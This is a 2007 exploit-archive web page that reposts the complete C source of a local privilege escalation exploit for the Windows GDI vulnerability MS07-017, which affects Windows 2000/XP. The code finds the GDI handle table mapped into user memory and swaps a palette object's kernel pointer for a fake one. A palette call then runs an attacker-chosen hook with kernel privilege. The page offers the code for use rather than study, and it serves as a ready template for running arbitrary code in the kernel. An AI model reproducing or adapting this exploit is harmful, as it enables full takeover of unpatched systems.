exploits , vulnerabilities , articles , MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2

Rated as : Critical

/*
GDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)

Coded by Lionel d'Hauenens 
http://www.labo-asso.com

Development:
------------
Dev-C++ 4.9.9.2
Linked with /lib/libgdi32.a 

References:
-----------
http://www.microsoft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://www.milw0rm.com/exploits/3688 
http://ivanlef0u.free.fr/?p=41

March 16, 2007
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <windows.h> 

typedef enum _SECTION_INFORMATION_CLASS
{
    SectionBasicInformation,
    SectionImageInformation
} SECTION_INFORMATION_CLASS;  
                                                
typedef struct _SECTION_BASIC_INFORMATION {
  ULONG                   Base;
  ULONG                   Attributes;
  LARGE_INTEGER           Size;
} SECTION_BASIC_INFORMATION;

typedef struct _GDI_TABLE_ENTRY
{
   PVOID pKernelInfo;
   WORD  ProcessID; 
   WORD  _nCount;
   WORD  nUpper;
   BYTE  nType;
   BYTE  flags;
   PVOID pUserInfo;
} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;

typedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG);
 
NTQUERYSECTION NtQuerySection;                                            
 

#define INT3 asm (".intel_syntax noprefix"); __asm ("int
3"); asm (".att_syntax noprefix");
#define STATUS_SUCCESS 0
#define PAL_TYPE 8
    
DWORD flag_test;

hook (HANDLE pal, COLORREF couleur)
{
     // INT3
     // Executed code with kernel privilege
     asm (".intel_syntax noprefix");
         __asm ("cli");
         
         // it's the fiesta !!! :)                 
         
         __asm ("sti");         
     asm (".att_syntax noprefix");
     
     flag_test = 1;      
     
     return (TRUE);     
} 

int main(int argc, char *argv[])
{    
    SECTION_BASIC_INFORMATION SectionInfo;    
    PGDI_TABLE_ENTRY pGdiEntry;
    PLOGPALETTE pLogPal;
    HANDLE hPal;
    PVOID OriginalPalObject;
    PVOID FalsePalObject; 
       
    HANDLE hThread = GetCurrentThread();  
    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);  
    HANDLE hSection = (ULONG)0;  
    PVOID MapFile = 0;
    HANDLE hProcess = (HANDLE)0xFFFFFFFF;
    WORD Pid = GetCurrentProcessId();                 
                  
   	NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary(
"ntdll.dll"),"NtQuerySection");
         
    printf
("##########################################################\n");
               
    printf ("# GDI Local Elevation of Privilege Vulnerability Exploit
#\n");
    printf ("#        All Windows 2000/XP before MS07-017 patch      
#\n");
    printf
("##########################################################\n");
  
    printf ("# coded by Lionel d'Hauenens   http://www.labo-asso.com 
#\n");
    printf
("##########################################################\n\n");
                                    
                                                      
    // Search handle section and mapper in virtual memory of user
    while ((DWORD)hSection<0xFFFF) 
    {
        SectionInfo.Attributes = 0;  
        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0,
0, 0); 
        if (MapFile)
        {
           
NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For
compatibility with win2k 
            UnmapViewOfFile(MapFile); 
            MapFile = 0;
        }                
        hSection++;
    }

    if (!MapFile)
    {
       printf ("Could not found shared section !\n");
       exit(0);             
    }              

    // Create Palette
    pLogPal = (PLOGPALETTE) calloc
(sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);    
    pLogPal->palNumEntries = 1;
    pLogPal->palVersion = 0x300;
    hPal = (HANDLE)CreatePalette(pLogPal);  
    
    if (!hPal)
    {
       printf ("Could not create palette !\n");
       exit(0);             
    }      
    
    // Search the entry of pal object 
    OriginalPalObject = (PVOID)0;        
    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
    while ((DWORD)pGdiEntry < ((DWORD)MapFile) +
SectionInfo.Size.QuadPart)
    {
          if ( pGdiEntry->ProcessID == Pid  &&
                  pGdiEntry->nType == PAL_TYPE )
          {
              // Save original pointer
              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;      
                   
              break;
          }           
          pGdiEntry++;          
    }

    if (!OriginalPalObject)
    {
       printf ("Could not find entry of Pal object !\n");
       exit(0);                  
    }  
    
    // Create the false Pal object
    FalsePalObject                   = (PVOID) calloc(0x100/4,4);
    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle    
    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag
    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface
GetNearestPaletteIndex 
  
    printf ("Section:\n--------\n");                            
                                
    printf ("Handle: 0x%08X    Attributes: %08X    Size:
0x%08X\n\n", hSection
                                                                    ,
SectionInfo.Attributes
                                                                    ,
SectionInfo.Size.QuadPart);
    printf ("Pointer of original pal object: 0x%08X\n",
OriginalPalObject); 
    printf ("Address of user map: 0x%08X\n", MapFile); 
    printf ("Pointer of false pal object: 0x%08X\n",
FalsePalObject);  
    printf ("Entry of GDI palette in user view: 0x%08X\n",
MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );     
    printf ("Address of Hook(): 0x%08X\n\n", &hook);  

   
//////////////////////////////////////////////////////////////////////////////
   
//////////////////////////////////////////////////////////////////////////////
 
    printf ("->Test...");
    flag_test = 0;            
    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); 
         
         // Active false Pal object    
         pGdiEntry->pKernelInfo = FalsePalObject;   
                 
              GetNearestPaletteIndex (hPal, 0); //--> call hook() with
kernel privilege :);
             
         // Restore original Pal object
         pGdiEntry->pKernelInfo = OriginalPalObject; 
    
    SetThreadPriority (hThread,OriginalThreadPriotity);
   
//////////////////////////////////////////////////////////////////////////////
   
//////////////////////////////////////////////////////////////////////////////
    
    if (!flag_test) printf ("ERROR !!!\n");
    else printf ("OK :)\n");

    UnmapViewOfFile(MapFile);
    DeleteObject ((HANDLE)hPal);
    free((PVOID)pLogPal);
    free((PVOID)FalsePalObject);  
    system("PAUSE");          
    return (0);         
}
securitydot.net - 2007-04-17